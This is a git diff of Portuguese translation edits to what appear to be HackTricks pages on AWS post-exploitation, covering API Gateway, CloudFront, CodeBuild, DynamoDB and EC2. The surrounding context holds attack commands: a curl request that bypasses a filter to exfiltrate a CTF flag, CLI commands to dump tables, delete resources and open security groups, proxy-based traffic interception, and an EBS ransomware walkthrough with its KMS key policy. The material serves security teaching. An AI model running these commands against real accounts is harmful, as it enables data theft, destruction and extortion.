### Bypass do corpo da requisição
Esta técnica foi encontrada em [**este writeup de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
Conforme indicado na [**documentação da AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, passará a requisição para o back end sem transformação.
Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo a exfiltração da flag** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo que a flag fosse exfiltrada** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
@@ -32,15 +32,15 @@ Finalmente, como o API Gateway estava permitindo apenas `Get` e `Options`, era p
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Usage Plans DoS
### Planos de Uso DoS
Na seção **Enumeration**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você poderia **apenas usá-la e causar um DoS**.
Na seção **Enumeração**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você pode **apenas usá-la e causar um DoS**.
A **API Key** só precisa ser **incluída** dentro de um **HTTP header** chamado **`x-api-key`**.
A **API Key** só precisa ser **incluída** dentro de um **cabeçalho HTTP** chamado **`x-api-key`**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Gateway Response existente para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -53,7 +53,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
> [!NOTE]
> [!NOTA]
> Necessita de teste
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
@@ -71,12 +71,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impacto Potencial**: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.
> [!NOTE]
> [!NOTA]
> Necessita de teste
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método de API Gateway REST API existente para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executam scripts maliciosos**.
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método REST API existente do API Gateway para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -91,7 +91,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
> [!NOTE]
> [!NOTA]
> Necessita de teste
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impacto Potencial**: Enfraquecendo a segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
**Impacto Potencial**: Enfraquecimento da segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
> [!NOTE]
> Necessita de teste

View File

@@ -1,4 +1,4 @@
# AWS - CloudFront Pós Exploração
# AWS - CloudFront Pós-Exploração
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,21 +10,21 @@ Para mais informações, consulte:
../aws-services/aws-cloudfront-enum.md
{{#endref}}
### Homem-no-Meio
### Man-in-the-Middle
Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver em uso) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
#### cenário 1: MitM onde o CloudFront está configurado para acessar algum HTML de um bucket
- **Criar** a **função** maliciosa.
- **Associá-la** à distribuição do CloudFront.
- Definir o **tipo de evento como "Resposta do Visualizador"**.
- Definir o **tipo de evento como "Viewer Response"**.
Acessando a resposta, você poderia roubar o cookie dos usuários e injetar um JS malicioso.
#### cenário 2: MitM onde o CloudFront já está usando uma função lambda
- **Modificar o código** da função lambda para roubar informações sensíveis
- **Modificar o código** da função lambda para roubar informações sensíveis.
Você pode verificar o [**código tf para recriar esses cenários aqui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).

View File

@@ -12,7 +12,7 @@ Para mais informações, consulte:
### Verificar Segredos
Se credenciais foram configuradas no Codebuild para se conectar ao Github, Gitlab ou Bitbucket na forma de tokens pessoais, senhas ou tokens de acesso OAuth, essas **credenciais serão armazenadas como segredos no gerenciador de segredos**.\
Se credenciais foram configuradas no Codebuild para se conectar ao Github, Gitlab ou Bitbucket na forma de tokens pessoais, senhas ou acesso de token OAuth, essas **credenciais serão armazenadas como segredos no gerenciador de segredos**.\
Portanto, se você tiver acesso para ler o gerenciador de segredos, poderá obter esses segredos e pivotar para a plataforma conectada.
{{#ref}}
@@ -50,13 +50,13 @@ aws-codebuild-token-leakage.md
### `codebuild:DeleteProject`
Um atacante poderia deletar um projeto inteiro do CodeBuild, causando a perda da configuração do projeto e impactando as aplicações que dependem do projeto.
Um atacante poderia deletar um projeto inteiro do CodeBuild, causando perda da configuração do projeto e impactando aplicações que dependem do projeto.
```bash
aws codebuild delete-project --name <value>
```
**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicativos que utilizam o projeto excluído.
**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicações que utilizam o projeto excluído.
### `codebuild:TagResource`, `codebuild:UntagResource`
### `codebuild:TagResource` , `codebuild:UntagResource`
Um atacante poderia adicionar, modificar ou remover tags dos recursos do CodeBuild, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
```bash

View File

@@ -14,7 +14,7 @@ Se você descobrir que a autenticação para, por exemplo, Github está configur
Para isso, você poderia **criar um novo projeto Codebuild** ou alterar o **ambiente** de um existente para definir a **imagem Docker**.
A imagem Docker que você poderia usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que irá definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confie no CERT SSL indicado em **`SSL_CERT_FILE`**.
A imagem Docker que você poderia usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que irá definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confie no SSL CERT indicado em **`SSL_CERT_FILE`**.
1. **Crie e faça upload da sua própria imagem Docker MitM**
- Siga as instruções do repositório para definir o endereço IP do seu proxy e configurar seu certificado SSL e **construa a imagem docker**.
@@ -80,7 +80,7 @@ Ativar isso permite que o Codebuild se conecte ao repositório **sem verificar o
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Em seguida, com as informações coletadas, você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo da minha atualização de um projeto, note o **`insecureSsl=True`** no final (esta é a única coisa que você precisa mudar na configuração coletada).
- Então, com as informações coletadas, você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo de como atualizei um projeto, note o **`insecureSsl=True`** no final (esta é a única coisa que você precisa mudar na configuração coletada).
- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para o seu tcp ngrok como:
```bash
aws codebuild update-project --name <proj-name> \
@@ -132,7 +132,7 @@ mitm.run()
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via protocolo HTTP~~
### ~~Via HTTP protocol~~
> [!TIP] > **Essa vulnerabilidade foi corrigida pela AWS em algum momento da semana do dia 20 de fevereiro de 2023 (acho que na sexta-feira). Portanto, um atacante não pode mais abusar disso :)**

View File

@@ -1,4 +1,4 @@
# AWS - Controle de Torre Pós-Exploração
# AWS - Controle de Torre Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -6,7 +6,7 @@
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.
Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, eles podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.
Primeiramente, usará um comando para coletar informações sobre os volumes, como ID da instância, ID do volume, status de criptografia, status de anexação e tipo de volume.

View File

@@ -1,4 +1,4 @@
# AWS - Exploração Pós-Explotação do DynamoDB
# AWS - Exploração Pós-DynamoDB
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Para mais informações, consulte:
### `dynamodb:BatchGetItem`
Um atacante com essas permissões poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (`describe-table`).
Um atacante com essas permissões poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
**Impacto Potencial:** Elevação de privilégios indireta ao localizar informações sensíveis na tabela
### `dynamodb:GetItem`
**Semelhante às permissões anteriores** esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada:
**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
Com esta permissão, também é possível usar o método **`transact-get-items`** da seguinte forma:
Com essa permissão, também é possível usar o método **`transact-get-items`** como:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -124,7 +124,7 @@ Você pode usar esta permissão para **extrair facilmente toda a tabela**.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Esta permissão também permite executar `batch-execute-statement` como:
Essa permissão também permite executar `batch-execute-statement` como:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Note que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com:
Observe que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
@@ -192,7 +192,7 @@ aws dynamodb put-item --table <table_name> --item file://add.json
```
{{#endtab }}
{{#tab name="Exemplo de IA" }}
{{#tab name="AI Example" }}
```bash
aws dynamodb put-item \
--table-name ExampleTable \
@@ -242,7 +242,7 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Exploração de outras vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB
**Impacto Potencial:** Exploração de mais vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB
### `dynamodb:DeleteTable`
@@ -262,23 +262,23 @@ aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Impacto potencial**: Perda de dados e incapacidade de recuperar de um backup durante um cenário de recuperação de desastres.
**Impacto potencial**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Testar se isso realmente funciona
Um atacante com essas permissões pode **ativar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados.
Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados.
1. Ativar um stream em uma tabela DynamoDB:
1. Habilitar um stream em uma tabela DynamoDB:
```bash
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. Descreva o stream para obter o ARN e outros detalhes:
2. Descreva o fluxo para obter o ARN e outros detalhes:
```bash
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \

View File

@@ -12,8 +12,8 @@ Para mais informações, consulte:
### **Espelho VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.\
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento.\
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:
Para mais informações, consulte esta página:
@@ -50,7 +50,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
### EBS Snapshot dump
**Snapshots são backups de volumes**, que geralmente conterão **informações sensíveis**, portanto, verificá-los deve revelar essas informações.\
Se você encontrar um **volume sem um snapshot**, você poderia: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta:
Se você encontrar um **volume sem um snapshot**, você pode: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -70,11 +70,11 @@ Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ele ainda
#### Exfiltration via API calls
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
Um atacante pode chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
### Open Security Group
Você poderia obter acesso adicional a serviços de rede abrindo portas assim:
Você pode obter acesso adicional a serviços de rede abrindo portas assim:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
@@ -119,17 +119,17 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada.
Finalmente, essa técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrários para se mover para qualquer outro serviço AWS ou uma aplicação personalizada.
### Compartilhar AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Buscar informações sensíveis em AMIs públicas e privadas
### Pesquisar informações sensíveis em AMIs públicas e privadas
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **pesquisar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
### Compartilhar Snapshot EBS
```bash
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
```
### EBS Ransomware PoC
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS usando-o.
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS.
Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'
Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -239,17 +239,17 @@ A regra da política de chave precisa das seguintes permissões habilitadas para
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS dessa conta de 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS da conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, destacará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Também vale a pena notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados não existem mais.
Também vale a pena notar que o script parou as instâncias EC2 para destacar e excluir os volumes EBS originais. Os volumes não criptografados originais já não existem.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
@@ -324,15 +324,15 @@ Em seguida, retorne à política de chave na conta 'atacante' e remova a regra d
]
}
```
Aguarde um momento para que a nova política de chave se propague. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
Aguarde um momento para que a nova política de chave seja propagada. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
Mas quando você tenta realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Este é o script python utilizado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
Este é o script python utilizado. Ele recebe credenciais da AWS para uma conta 'vítima' e um valor ARN da AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original via snapshots, mas quero que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
```
import boto3
import argparse

View File

@@ -50,7 +50,7 @@ Para mais informações sobre esta técnica, consulte a pesquisa original em [ht
Você pode fazer isso com o Pacu usando o módulo [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
## Verificando um snapshot na AWS
## Verificando um snapshot no AWS
```bash
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
```
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o NTDS.dit e o arquivo do hive do registro SYSTEM** para uso com o projeto secretsdump do Impacket.
Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou você pode usar uma das técnicas anteriores após criar um snapshot.

View File

@@ -1,14 +1,14 @@
# AWS - Malicious VPC Mirror
# AWS - Espelho VPC Malicioso
{{#include ../../../../banners/hacktricks-training.md}}
**Verifique** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **para mais detalhes do ataque!**
A inspeção passiva de rede em um ambiente de nuvem tem sido **desafiadora**, exigindo grandes mudanças de configuração para monitorar o tráfego de rede. No entanto, um novo recurso chamado “**VPC Traffic Mirroring**” foi introduzido pela AWS para simplificar esse processo. Com o VPC Traffic Mirroring, o tráfego de rede dentro das VPCs pode ser **duplicado** sem instalar nenhum software nas instâncias. Esse tráfego duplicado pode ser enviado para um sistema de detecção de intrusões de rede (IDS) para **análise**.
A inspeção passiva de rede em um ambiente de nuvem tem sido **desafiadora**, exigindo grandes mudanças de configuração para monitorar o tráfego de rede. No entanto, um novo recurso chamado “**Espelhamento de Tráfego VPC**” foi introduzido pela AWS para simplificar esse processo. Com o Espelhamento de Tráfego VPC, o tráfego de rede dentro das VPCs pode ser **duplicado** sem a necessidade de instalar qualquer software nas instâncias. Esse tráfego duplicado pode ser enviado para um sistema de detecção de intrusões de rede (IDS) para **análise**.
